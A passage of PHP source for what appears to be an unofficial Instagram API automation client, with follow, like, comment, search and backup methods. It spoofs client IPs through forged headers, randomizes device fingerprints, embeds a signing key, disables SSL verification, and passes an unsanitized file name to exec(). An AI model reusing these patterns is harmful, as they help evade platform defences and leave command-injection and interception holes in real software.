list(, $query) = $this->request("fbsearch/topsearch/?context=blended&query=" . $query . "&rank_token=" . $this->rank_token);
if( $query["status"] != "ok" )
{
throw new Exception($query["message"] . "n");
}
return $query;
}
/**
* Search users.
*
* @param string $query
*
* @return array
* query data
*/
public function searchUsers($query)
{
list(, $query) = $this->request("users/search/?ig_sig_key_version=" . Constants::SIG_KEY_VERSION . "&is_typeahead=true&query=" . $query . "&rank_token=" . $this->rank_token);
if( $query["status"] != "ok" )
{
throw new Exception($query["message"] . "n");
}
return $query;
}
/**
* Search exact username
*
* @param string usernameName username as STRING not an id
*
* @return array
* query data
*
*/
public function searchUsername($usernameName)
{
list(, $query) = $this->request("users/" . $usernameName . "/usernameinfo/");
return $query;
}
/**
* Search users using addres book.
*
* @param array $contacts
*
* @return array
* query data
*/
public function syncFromAdressBook($contacts)
{
$data = "contacts=" . json_encode($contacts, true);
return $this->request("address_book/link/?include=extra_display_name,thumbnails", $data)[1];
}
/**
* Search tags.
*
* @param string $query
*
* @return array
* query data
*/
public function searchTags($query)
{
list(, $query) = $this->request("tags/search/?is_typeahead=true&q=" . $query . "&rank_token=" . $this->rank_token);
if( $query["status"] != "ok" )
{
throw new Exception($query["message"] . "n");
}
return $query;
}
/**
* Get timeline data.
*
* @return array
* timeline data
*/
public function getTimeline($maxid = NULL)
{
list(, $timeline) = $this->request("feed/timeline/?rank_token=" . $this->rank_token . "&ranked_content=true" . ((!is_null($maxid) ? "&max_id=" . $maxid : "")));
if( $timeline["status"] != "ok" )
{
throw new Exception($timeline["message"] . "n");
}
return $timeline;
}
/**
* @throws Exception
*
* @return array|void
*/
public function getReelsTrayFeed()
{
list(, $feed) = $this->request("feed/reels_tray/");
if( $feed["status"] != "ok" )
{
throw new Exception($feed["message"] . "n");
}
return $feed;
}
/**
* Get user feed.
*
* @param string $usernameId
* Username id
* @param null $maxid
* Max Id
* @param null $minTimestamp
* Min timestamp
*
* @return array User feed data
* User feed data
* @throws Exception
*/
public function getUserFeed($usernameId, $maxid = NULL, $minTimestamp = NULL)
{
list(, $userFeed) = $this->request("feed/user/" . $usernameId . "/?rank_token=" . $this->rank_token . ((!is_null($maxid) ? "&max_id=" . $maxid : "")) . ((!is_null($minTimestamp) ? "&min_timestamp=" . $minTimestamp : "")) . "&ranked_content=true");
return $userFeed;
}
/**
* Get hashtag feed.
*
* @param string $hashtagString
* Hashtag string, not including the #
*
* @return array
* Hashtag feed data
*/
public function getHashtagFeed($hashtagString, $maxid = NULL)
{
if( is_null($maxid) )
{
$endpoint = "feed/tag/" . $hashtagString . "/?rank_token=" . $this->rank_token . "&ranked_content=true&";
}
else
{
$endpoint = "feed/tag/" . $hashtagString . "/?max_id=" . $maxid . "&rank_token=" . $this->rank_token . "&ranked_content=true&";
}
list(, $hashtagFeed) = $this->request($endpoint);
if( $hashtagFeed["status"] != "ok" )
{
throw new Exception($hashtagFeed["message"] . "n");
}
return $hashtagFeed;
}
/**
* Get locations.
*
* @param string $query
* search query
*
* @return array
* Location location data
*/
public function searchLocation($query)
{
$query = rawurlencode($query);
$endpoint = "fbsearch/places/?rank_token=" . $this->rank_token . "&query=" . $query;
list(, $locationFeed) = $this->request($endpoint);
if( $locationFeed["status"] != "ok" )
{
throw new Exception($locationFeed["message"] . "n");
}
return $locationFeed;
}
/**
* Get location feed.
*
* @param string $locationId
* location id
*
* @return array
* Location feed data
*/
public function getLocationFeed($locationId, $maxid = NULL)
{
if( is_null($maxid) )
{
$endpoint = "feed/location/" . $locationId . "/?rank_token=" . $this->rank_token . "&ranked_content=true&";
}
else
{
$endpoint = "feed/location/" . $locationId . "/?max_id=" . $maxid . "&rank_token=" . $this->rank_token . "&ranked_content=true&";
}
list(, $locationFeed) = $this->request($endpoint);
if( $locationFeed["status"] != "ok" )
{
throw new Exception($locationFeed["message"] . "n");
}
return $locationFeed;
}
/**
* Get self user feed.
*
* @return array
* User feed data
*/
public function getSelfUserFeed($maxid = NULL, $minTimestamp = NULL)
{
return $this->getUserFeed($this->username_id, $maxid, $minTimestamp);
}
/**
* Ranked recipients.
*
* @throws Exception Ranked recipients Data
*
* @return array|void
*/
public function getRankedRecipients()
{
list(, $ranked_recipients) = $this->request("direct_v2/ranked_recipients/?show_threads=true");
if( $ranked_recipients["status"] != "ok" )
{
throw new Exception($ranked_recipients["message"] . "n");
}
return $ranked_recipients;
}
/**
* Recent recipients.
*
* @throws Exception Ranked recipients Data
*
* @return array|void
*/
public function getRecentRecipients()
{
list(, $recent_recipients) = $this->request("direct_share/recent_recipients/");
if( $recent_recipients["status"] != "ok" )
{
throw new Exception($recent_recipients["message"] . "n");
}
return $recent_recipients;
}
/**
* Explore Tab.
*
* @throws Exception Explore data
*
* @return array|void
*/
public function explore()
{
list(, $explore) = $this->request("discover/explore/");
if( $explore["status"] != "ok" )
{
throw new Exception($explore["message"] . "n");
}
return $explore;
}
/**
* Get popular feed.
*
* @return array
* popular feed data
*/
public function getPopularFeed($maxid = NULL)
{
list(, $popularFeed) = $this->request("feed/popular/?max_id=" . $maxid . "&people_teaser_supported=1&rank_token=" . $this->rank_token . "&ranked_content=true&");
if( $popularFeed["status"] != "ok" )
{
throw new Exception($popularFeed["message"] . "n");
}
return $popularFeed;
}
/**
* Get user followings.
*
* @param string $usernameId
* Username id
*
* @return array
* followers data
*/
public function getUserFollowings($usernameId, $maxid = NULL)
{
return $this->request("friendships/" . $usernameId . "/following/?max_id=" . $maxid . "&ig_sig_key_version=" . Constants::SIG_KEY_VERSION . "&rank_token=" . $this->rank_token)[1];
}
/**
* Get user followers.
*
* @param string $usernameId
* Username id
*
* @return array
* followers data
*/
public function getUserFollowers($usernameId, $maxid = NULL)
{
return $this->request("friendships/" . $usernameId . "/followers/?max_id=" . $maxid . "&ig_sig_key_version=" . Constants::SIG_KEY_VERSION . "&rank_token=" . $this->rank_token)[1];
}
/**
* Get self user followers.
*
* @return array
* followers data
*/
public function getSelfUserFollowers($maxid = NULL)
{
return $this->getUserFollowers($this->username_id, $maxid);
}
/**
* Get self users we are following.
*
* @return array
* users we are following data
*/
public function getSelfUsersFollowing($maxid = NULL)
{
return $this->request("friendships/following/?max_id=" . $maxid . "&ig_sig_key_version=" . Constants::SIG_KEY_VERSION . "&rank_token=" . $this->rank_token)[1];
}
/**
* Like photo or video.
*
* @param string $mediaId
* Media id
*
* @return array
* status request
*/
public function like($mediaId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token, "media_id" => $mediaId ));
return $this->request("media/" . $mediaId . "/like/", SignatureUtils::generateSignature($data))[1];
}
/**
* Unlike photo or video.
*
* @param string $mediaId
* Media id
*
* @return array
* status request
*/
public function unlike($mediaId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "_csrftoken" => $this->token, "media_id" => $mediaId ));
return $this->request("media/" . $mediaId . "/unlike/", SignatureUtils::generateSignature($data))[1];
}
/**
* Get media comments.
*
* @param string $mediaId
* Media id
*
* @return array
* Media comments data
*/
public function getMediaComments($mediaId)
{
return $this->request("media/" . $mediaId . "/comments/?")[1];
}
/**
* Set name and phone (Optional).
*
* @param string $name
* @param string $phone
*
* @return array
* Set status data
*/
public function setNameAndPhone($name = "", $phone = "")
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "first_name" => $name, "phone_number" => $phone, "_csrftoken" => $this->token ));
return $this->request("accounts/set_phone_and_name/", SignatureUtils::generateSignature($data))[1];
}
/**
* Get direct share.
*
* @return array
* Direct share data
*/
public function getDirectShare()
{
return $this->request("direct_share/inbox/?")[1];
}
/**
* Backups all your uploaded photos :).
*/
public function backup()
{
$myUploads = $this->getSelfUserFeed();
foreach( $myUploads["items"] as $item )
{
if( !is_dir($this->IGDataPath . "backup/" . (string) $this->username . "-" . date("Y-m-d")) )
{
mkdir($this->IGDataPath . "backup/" . (string) $this->username . "-" . date("Y-m-d"));
}
file_put_contents($this->IGDataPath . "backup/" . (string) $this->username . "-" . date("Y-m-d") . "/" . $item["id"] . ".jpg", file_get_contents($item["image_versions2"]["candidates"][0]["url"]));
}
}
/**
* Follow.
*
* @param string $userId
*
* @return array
* Friendship status data
*/
public function follow($userId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "user_id" => $userId, "_csrftoken" => $this->token ));
return $this->request("friendships/create/" . $userId . "/", SignatureUtils::generateSignature($data))[1];
}
/**
* Unfollow.
*
* @param string $userId
*
* @return array
* Friendship status data
*/
public function unfollow($userId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "user_id" => $userId, "_csrftoken" => $this->token ));
return $this->request("friendships/destroy/" . $userId . "/", SignatureUtils::generateSignature($data))[1];
}
/**
* Block.
*
* @param string $userId
*
* @return array
* Friendship status data
*/
public function block($userId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "user_id" => $userId, "_csrftoken" => $this->token ));
return $this->request("friendships/block/" . $userId . "/", SignatureUtils::generateSignature($data))[1];
}
/**
* Unblock.
*
* @param string $userId
*
* @return array
* Friendship status data
*/
public function unblock($userId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "user_id" => $userId, "_csrftoken" => $this->token ));
return $this->request("friendships/unblock/" . $userId . "/", SignatureUtils::generateSignature($data))[1];
}
/**
* Show User Friendship.
*
* @param string $userId
*
* @return array
* Friendship relationship data
*/
public function userFriendship($userId)
{
$data = json_encode(array( "_uuid" => $this->uuid, "_uid" => $this->username_id, "user_id" => $userId, "_csrftoken" => $this->token ));
return $this->request("friendships/show/" . $userId . "/", SignatureUtils::generateSignature($data))[1];
}
/**
* Get liked media.
*
* @return array
* Liked media data
*/
public function getLikedMedia($maxid = NULL)
{
return $this->request("feed/liked/?max_id=" . $maxid)[1];
}
protected function buildBody($bodies, $boundary)
{
$body = "";
foreach( $bodies as $b )
{
$body .= "--" . $boundary . "rn";
$body .= "Content-Disposition: " . $b["type"] . "; name="" . $b["name"] . """;
if( isset($b["filename"]) )
{
$ext = pathinfo($b["filename"], PATHINFO_EXTENSION);
$body .= "; filename="" . "pending_media_" . number_format(round(microtime(true) * 1000), 0, "", "") . "." . $ext . """;
}
if( isset($b["headers"]) && is_array($b["headers"]) )
{
foreach( $b["headers"] as $header )
{
$body .= "rn" . $header;
}
}
$body .= "rnrn" . $b["data"] . "rn";
}
$body .= "--" . $boundary . "--";
return $body;
}
protected function request($endpoint, $post = NULL, $login = false)
{
if( !$this->isLoggedIn && !$login )
{
throw new Exception("Not logged inn");
}
$headers = array( "Connection: close", "Accept: */*", "X-IG-Capabilities: " . Constants::X_IG_Capabilities, "X-IG-Connection-Type: WIFI", "Content-type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: tr-TR", "X_FORWARDED_FOR: " . $this->settings->get("ip"), "REMOTE_ADDR: " . $this->settings->get("ip") );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, Constants::API_URL . $endpoint);
curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_VERBOSE, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->IGDataPath . (string) $this->username . ".dat");
if( $post )
{
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$resp = curl_exec($ch);
$header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($resp, 0, $header_len);
$body = substr($resp, $header_len);
curl_close($ch);
if( $this->debug )
{
echo "REQUEST: " . $endpoint . "n";
if( !is_null($post) && !is_array($post) )
{
echo "DATA: " . urldecode($post) . "n";
}
echo "RESPONSE: " . $body . "nn";
}
return array( $header, json_decode($body, true) );
}
/**
* Is User Logged in?
* @return bool
*/
public function isLoggedIn()
{
return $this->isLoggedIn;
}
}
class InstagramWeb
{
/**
* Default class constructor.
*
* @param string $username
* Your Instagram username.
* @param $IGDataPath
* Default folder to store data, you can change it.
*/
public function __construct($username, $IGDataPath = NULL)
{
if( !is_null($IGDataPath) )
{
$this->IGDataPath = $IGDataPath;
}
else
{
$this->IGDataPath = Wow::get("project/cookiePath") . "instagram/";
}
$this->setUser($username);
}
/**
* Set the user. Manage multiple accounts.
*
* @param string $username
* Your Instagram username.
*/
public function setUser($username)
{
$this->username = $username;
if( file_exists($this->IGDataPath . (string) $this->username . ".dat") )
{
$cookieFile = file_get_contents($this->IGDataPath . (string) $username . ".dat");
$userCookies = Utils::cookieToArray($cookieFile);
$this->isLoggedIn = true;
$this->username_id = trim($userCookies["ds_user_id"]);
$this->token = trim($userCookies["csrftoken"]);
$this->fake_ip = "78." . rand(160, 191) . "." . rand(1, 255) . "." . rand(1, 255);
}
}
public function getData()
{
return array( "username" => $this->username, "username_id" => $this->username_id, "token" => $this->token, "ip" => $this->fake_ip );
}
/**
* Comment media.
*
* @param string $mediaId
* Media id
* @param string $commentText
* Comment Text
*
* @return array
* comment media data
*/
public function comment($mediaId, $commentText)
{
$postData = "comment_text=" . $commentText;
$headers = array( );
$headers[] = "Referer: https://www.instagram.com/";
$headers[] = "DNT: 1";
$headers[] = "Origin: https://www.instagram.com/";
$headers[] = "X-CSRFToken: " . trim($this->token);
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "X-Instagram-AJAX: 1";
$headers[] = "Connection: close";
$headers[] = "Cache-Control: max-age=0";
return $this->request("web/comments/" . $mediaId . "/add/", $headers, $postData)[1];
}
/**
* Get username info.
*
* @param string $username
* Username
*
* @return array
* Username data
*/
public function getUsernameInfo($username)
{
$headers = array( );
$headers[] = "Referer: https://www.instagram.com/";
$headers[] = "DNT: 1";
$headers[] = "Origin: https://www.instagram.com/";
$headers[] = "X-CSRFToken: " . trim($this->token);
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "X-Instagram-AJAX: 1";
$headers[] = "Connection: close";
$headers[] = "Cache-Control: max-age=0";
return $this->request((string) $username . "/?__a=1", $headers)[1];
}
/**
* Media info
*
* @param string $mediaCode
* Media code
*
* @return array
* delete request data
*/
public function mediaInfo($mediaCode)
{
$headers = array( );
$headers[] = "Referer: https://www.instagram.com/";
$headers[] = "DNT: 1";
$headers[] = "Origin: https://www.instagram.com/";
$headers[] = "X-CSRFToken: " . trim($this->token);
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "X-Instagram-AJAX: 1";
$headers[] = "Connection: close";
$headers[] = "Cache-Control: max-age=0";
return $this->request("p/" . $mediaCode . "/?__a=1", $headers)[1];
}
/**
* Like photo or video.
*
* @param string $mediaId
* Media id
*
* @return array
* status request
*/
public function like($mediaId)
{
$headers = array( );
$headers[] = "Referer: https://www.instagram.com/instagram/";
$headers[] = "DNT: 1";
$headers[] = "Origin: https://www.instagram.com/";
$headers[] = "X-CSRFToken: " . trim($this->token);
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "X-Instagram-AJAX: 1";
$headers[] = "Connection: close";
$headers[] = "Cache-Control: max-age=0";
return $this->request("web/likes/" . $mediaId . "/like/", $headers, true)[1];
}
/**
* Unlike photo or video.
*
* @param string $mediaId
* Media id
*
* @return array
* status request
*/
public function unlike($mediaId)
{
$headers = array( );
$headers[] = "Referer: https://www.instagram.com/";
$headers[] = "DNT: 1";
$headers[] = "Origin: https://www.instagram.com/";
$headers[] = "X-CSRFToken: " . trim($this->token);
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "X-Instagram-AJAX: 1";
$headers[] = "Connection: close";
$headers[] = "Cache-Control: max-age=0";
return $this->request("web/likes/" . $mediaId . "/unlike/", $headers, true)[1];
}
/**
* Follow.
*
* @param string $userId
*
* @return array
* Friendship status data
*/
public function follow($userId)
{
$headers = array( );
$headers[] = "Referer: https://www.instagram.com/instagram/";
$headers[] = "DNT: 1";
$headers[] = "Origin: https://www.instagram.com/";
$headers[] = "X-CSRFToken: " . trim($this->token);
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "X-Instagram-AJAX: 1";
$headers[] = "Connection: close";
$headers[] = "Cache-Control: max-age=0";
return $this->request("web/friendships/" . $userId . "/follow/", $headers, true)[1];
}
/**
* Unfollow.
*
* @param string $userId
*
* @return array
* Friendship status data
*/
public function unfollow($userId)
{
$headers = array( );
$headers[] = "Referer: https://www.instagram.com/instagram/";
$headers[] = "DNT: 1";
$headers[] = "Origin: https://www.instagram.com/";
$headers[] = "X-CSRFToken: " . trim($this->token);
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "X-Instagram-AJAX: 1";
$headers[] = "Connection: close";
$headers[] = "Cache-Control: max-age=0";
return $this->request("web/friendships/" . $userId . "/unfollow/", $headers, true)[1];
}
protected function request($endpoint, array $optionalheaders, $post = NULL)
{
if( !$this->isLoggedIn )
{
throw new Exception("Not logged inn");
}
$headers = array( "Accept: */*", "Accept-Language: tr;q=1", "X_FORWARDED_FOR: " . $this->fake_ip, "REMOTE_ADDR: " . $this->fake_ip );
$headers = array_merge($headers, $optionalheaders);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, Constants::WEB_URL . $endpoint);
curl_setopt($ch, CURLOPT_USERAGENT, Constants::WEB_USER_AGENT);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_VERBOSE, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->IGDataPath . (string) $this->username . ".dat");
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->IGDataPath . (string) $this->username . ".dat");
if( $post )
{
curl_setopt($ch, CURLOPT_POST, true);
if( is_string($post) )
{
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
}
$resp = curl_exec($ch);
$header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($resp, 0, $header_len);
$body = substr($resp, $header_len);
curl_close($ch);
return array( $header, json_decode($body, true) );
}
/**
* Is User Logged in?
* @return bool
*/
public function isLoggedIn()
{
return $this->isLoggedIn;
}
public function isValid()
{
$headers = array( );
$headers[] = "Referer: https://www.instagram.com/accounts/edit/";
$headers[] = "DNT: 1";
$headers[] = "Origin: https://www.instagram.com/";
$headers[] = "X-CSRFToken: " . trim($this->token);
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "X-Instagram-AJAX: 1";
$headers[] = "Connection: close";
$headers[] = "Cache-Control: max-age=0";
list($header) = $this->request("accounts/activity/?__a=1", $headers, true);
return (strpos($header, "HTTP/1.1 200") === false ? false : true);
}
}
class SignatureUtils
{
public static function generateSignature($data)
{
$hash = hash_hmac("sha256", $data, Constants::IG_SIG_KEY);
return "ig_sig_key_version=" . Constants::SIG_KEY_VERSION . "&signed_body=" . $hash . "." . urlencode($data);
}
public static function generateDeviceId($seed)
{
$volatile_seed = filemtime(__DIR__);
return "android-" . substr(md5($seed . $volatile_seed), 16);
}
public static function generateUUID($type)
{
$uuid = sprintf("%04x%04x-%04x-%04x-%04x-%04x%04x%04x", mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 4095) | 16384, mt_rand(0, 16383) | 32768, mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
return ($type ? $uuid : str_replace("-", "", $uuid));
}
}
class UserAgent
{
public function __construct($parent)
{
$this->parent = $parent;
}
protected function getDeviceData()
{
$csvfile = Wow::get("project/cookiePath") . "device/devices.csv";
$file_handle = fopen($csvfile, "r");
$line_of_text = array( );
while( !feof($file_handle) )
{
$line_of_text[] = fgetcsv($file_handle, 1024);
}
$deviceData = explode(";", $line_of_text[mt_rand(0, 11867)][0]);
fclose($file_handle);
return $deviceData;
}
public function buildUserAgent()
{
$deviceData = $this->getDeviceData();
$this->parent->settings->set("manufacturer", $deviceData[0]);
$this->parent->settings->set("device", $deviceData[1]);
$this->parent->settings->set("model", $deviceData[2]);
$localeLang = $this->detectUserLocale();
return sprintf("Instagram %s Android (18/4.3; 320dpi; 720x1280; %s; %s; %s; qcom; " . $localeLang . ")", Constants::VERSION, $deviceData[0], $deviceData[1], $deviceData[2]);
}
private function detectUserLocale($fallbackLocale = "en_US")
{
$userLocale = NULL;
if( isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) )
{
$arrLang = explode(",", $_SERVER["HTTP_ACCEPT_LANGUAGE"]);
$preferredLangs = array( );
foreach( $arrLang as $strLang )
{
$arrLangDetails = explode(";q=", $strLang);
$langCode = str_replace("-", "_", $arrLangDetails[0]);
$langPriority = floatval((isset($arrLangDetails[1]) ? $arrLangDetails[1] : 1));
$preferredLangs[$langCode] = $langPriority;
}
arsort($preferredLangs);
reset($preferredLangs);
$userLocale = key($preferredLangs);
}
return (is_null($userLocale) ? $fallbackLocale : $userLocale);
}
}
class Utils
{
/**
* Length of the file in Seconds.
*
* @param string $file
* path to the file name
*
* @return int
* length of the file in seconds
*/
public static function getSeconds($file)
{
$ffmpeg = self::checkFFMPEG();
if( $ffmpeg )
{
$time = exec((string) $ffmpeg . " -i " . $file . " 2>&1 | grep 'Duration' | cut -d ' ' -f 4");
$duration = explode(":", $time);
$seconds = $duration[0] * 3600 + $duration[1] * 60 + round($duration[2]);
return $seconds;
}
return mt_rand(15, 300);
}
/**
* Check for ffmpeg/avconv dependencies.
*
* @return string/boolean
* name of the library if present, false otherwise
*/
public static function checkFFMPEG()
{
@exec("ffmpeg -version 2>&1", $output, $returnvalue);
if( $returnvalue === 0 )
{
return "ffmpeg";
}
@exec("avconv -version 2>&1", $output, $returnvalue);
if( $returnvalue === 0 )
{
return "avconv";
}
return false;
}
/**
* Creating a video icon/thumbnail.
*
* @param string $file
* path to the video file
*
* @return image
* icon/thumbnail for the video
*/
public static function createVideoIcon($file)
{
$ffmpeg = self::checkFFMPEG();
if( $ffmpeg )
{
$preview = sys_get_temp_dir() . "/" . md5($file) . ".jpg";
@unlink($preview);
$command = $ffmpeg . " -i "" . $file . "" -f mjpeg -ss 00:00:01 -vframes 1 "" . $preview . "" 2>&1";
@exec($command);
return file_get_contents($preview);
}
}
/**
* Implements the actual logic behind creating the icon/thumbnail.
*
* @param string $file
* path to the file name
*
* @return image
* icon/thumbnail for the video
*/
public static function createIconGD($file, $size = 100, $raw = true)
{
list($width, $height) = getimagesize($file);
if( $height < $width ) { $y = 0; $x = ($width - $height) / 2; $smallestSide = $height; } else { $x = 0; $y = ($height - $width) / 2; $smallestSide = $width; } $image_p = imagecreatetruecolor($size, $size); $image = imagecreatefromstring(file_get_contents($file)); imagecopyresampled($image_p, $image, 0, 0, $x, $y, $size, $size, $smallestSide, $smallestSide); ob_start(); imagejpeg($image_p, NULL, 95); $i = ob_get_contents(); ob_end_clean(); imagedestroy($image); imagedestroy($image_p); return $i; } public static function formatBytes($bytes, $precision = 2) { $units = array( "B", "kB", "mB", "gB", "tB" ); $bytes = max($bytes, 0); $pow = floor((($bytes ? log($bytes) : 0)) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision) . "" . $units[$pow]; } public static function colouredString($string, $colour) { $colours["black"] = "0;30"; $colours["dark_gray"] = "1;30"; $colours["blue"] = "0;34"; $colours["light_blue"] = "1;34"; $colours["green"] = "0;32"; $colours["light_green"] = "1;32"; $colours["cyan"] = "0;36"; $colours["light_cyan"] = "1;36"; $colours["red"] = "0;31"; $colours["light_red"] = "1;31"; $colours["purple"] = "0;35"; $colours["light_purple"] = "1;35"; $colours["brown"] = "0;33"; $colours["yellow"] = "1;33"; $colours["light_gray"] = "0;37"; $colours["white"] = "1;37"; $colored_string = ""; if( isset($colours[$colour]) ) { $colored_string .= "x1B[" . $colours[$colour] . "m"; } $colored_string .= $string . "x1B[0m"; return $colored_string; } public static function getFilterCode($filter) { $filters = array( ); $filters[108] = "Charmes"; $filters[116] = "Ashby"; $filters[117] = "Helena"; $filters[115] = "Brooklyn"; $filters[105] = "Dogpatch"; $filters[113] = "Skyline"; $filters[107] = "Ginza"; $filters[118] = "Maven"; $filters[16] = "Kelvin"; $filters[14] = "1977"; $filters[20] = "Walden"; $filters[19] = "Toaster"; $filters[18] = "Sutro"; $filters[22] = "Brannan"; $filters[3] = "Earlybird"; $filters[106] = "Vesper"; $filters[109] = "Stinson"; $filters[15] = "Nashville"; $filters[21] = "Hefe"; $filters[10] = "Inkwell"; $filters[2] = "Lo-Fi"; $filters[28] = "Willow"; $filters[27] = "Sierra"; $filters[1] = "X Pro II"; $filters[25] = "Valencia"; $filters[26] = "Hudson"; $filters[23] = "Rise"; $filters[17] = "Mayfair"; $filters[24] = "Amaro"; $filters[608] = "Perpetua"; $filters[612] = "Aden"; $filters[603] = "Ludwig"; $filters[616] = "Crema"; $filters[605] = "Slumber"; $filters[613] = "Juno"; $filters[614] = "Reyes"; $filters[615] = "Lark"; $filters[111] = "Moon"; $filters[114] = "Gingham"; $filters[112] = "Clarendon"; $filters[0] = "Normal"; return array_search($filter, $filters); } public static function cookieToArray($string) { $arrCookies = array( ); $fileVals = self::extractCookies($string); foreach( $fileVals as $cookie ) { $arrCookies[$cookie["name"]] = $cookie["value"]; } return $arrCookies; } public static function extractCookies($string) { $lines = explode(PHP_EOL, $string); $cookies = array( ); foreach( $lines as $line ) { $cookie = array( ); if( substr($line, 0, 10) == "#HttpOnly_" ) { $line = substr($line, 10); $cookie["httponly"] = true; } else { $cookie["httponly"] = false; } if( $line[0] != "#" && substr_count($line, "t") == 6 ) { $tokens = explode("t", $line); $tokens = array_map("trim", $tokens); list($cookie["domain"], $cookie["flag"], $cookie["path"], $cookie["secure"], $cookie["expiration-epoch"]) = $tokens; $cookie["name"] = urldecode($tokens[5]); $cookie["value"] = urldecode($tokens[6]); $cookie["expiration"] = date("Y-m-d h:i:s", $tokens[4]); $cookies[] = $cookie; } } return $cookies; } } class Settings { public function __construct($path) { $this->path = $path;
$this->sets = array( );
if( file_exists($path) )
{
$fp = fopen($path, "rb");
while( $line = fgets($fp, 2048) )
{
$line = trim($line, " ");
if( $line[0] == "#" )
{
continue;
}
$kv = explode("=", $line, 2);
$this->sets[$kv[0]] = trim($kv[1], "rn ");
}
fclose($fp);
}
}
public function get($key, $default = NULL)
{
if( $key == "sets" )
{
return $this->sets;
}
if( isset($this->sets[$key]) )
{
return $this->sets[$key];
}
return $default;
}
public function set($key, $value)
{
if( $key == "sets" )
{
return NULL;
}
$this->sets[$key] = $value;
$this->Save();
}
public function Save()
{
if( file_exists($this->path) )
{
unlink($this->path);
}
$fp = fopen($this->path, "wb");
fseek($fp, 0);
foreach( $this->sets as $key => $value )
{
fwrite($fp, $key . "=" . $value . "n");
}
fclose($fp);
}
public function __set($prop, $value)
{
$this->set($prop, $value);
}
public function __get($prop)
{
return $this->get($prop);
}
}
class Constants
{
const API_URL = "https://i.instagram.com/api/v1/";
const VERSION = "10.3.2";
const IG_SIG_KEY = "5ad7d6f013666cc93c88fc8af940348bd067b68f0dce3c85122a923f4f74b251";
const EXPERIMENTS = "ig_android_ad_holdout_16m5_universe,ig_android_progressive_jpeg,ig_creation_growth_holdout,ig_android_oppo_app_badging,ig_android_ad_remove_username_from_caption_universe,ig_android_enable_share_to_whatsapp,ig_android_direct_drawing_in_quick_cam_universe,ig_android_ad_always_send_ad_attribution_id_universe,ig_android_universe_video_production,ig_android_direct_plus_button,ig_android_ads_heatmap_overlay_universe,ig_android_http_stack_experiment_2016,ig_android_infinite_scrolling,ig_fbns_blocked,ig_android_post_auto_retry_v7_21,ig_fbns_push,ig_android_video_playback_bandwidth_threshold,ig_android_direct_link_preview,ig_android_direct_typing_indicator,ig_android_preview_capture,ig_android_feed_pill,ig_android_profile_link_iab,ig_android_story_caption,ig_android_network_cancellation,ig_android_histogram_reporter,ig_android_anrwatchdog,ig_android_search_client_matching,ig_android_follow_request_text_buttons,ig_android_feed_zoom,ig_android_drafts_universe,ig_android_disable_comment,ig_android_user_detail_endpoint,ig_android_os_version_blocking,ig_android_blocked_list,ig_android_event_creation,ig_android_high_res_upload_2,ig_android_2fac,ig_android_mark_reel_seen_on_Swipe_forward,ig_android_comment_redesign,ig_android_ad_sponsored_label_universe,ig_android_mentions_dismiss_rule,ig_android_disable_chroma_subsampling,ig_android_share_spinner,ig_android_video_reuse_surface,ig_explore_v3_android_universe,ig_android_media_favorites,ig_android_nux_holdout,ig_android_insta_video_universe,ig_android_search_null_state,ig_android_universe_reel_video_production,liger_instagram_android_univ,ig_android_direct_emoji_picker,ig_feed_holdout_universe,ig_android_direct_send_auto_retry_universe,ig_android_samsung_app_badging,ig_android_disk_usage,ig_android_business_promotion,ig_android_direct_swipe_to_inbox,ig_android_feed_reshare_button_nux,ig_android_react_native_boost_post,ig_android_boomerang_feed_attribution,ig_fbns_shared,ig_fbns_dump_ids,ig_android_react_native_universe,ig_show_promote_button_in_feed,ig_android_ad_metadata_behavior_universe,ig_android_video_loopcount_int,ig_android_inline_gallery_backoff_hours_universe,ig_android_rendering_controls,ig_android_profile_photo_as_media,ig_android_async_stack_image_cache,ig_video_max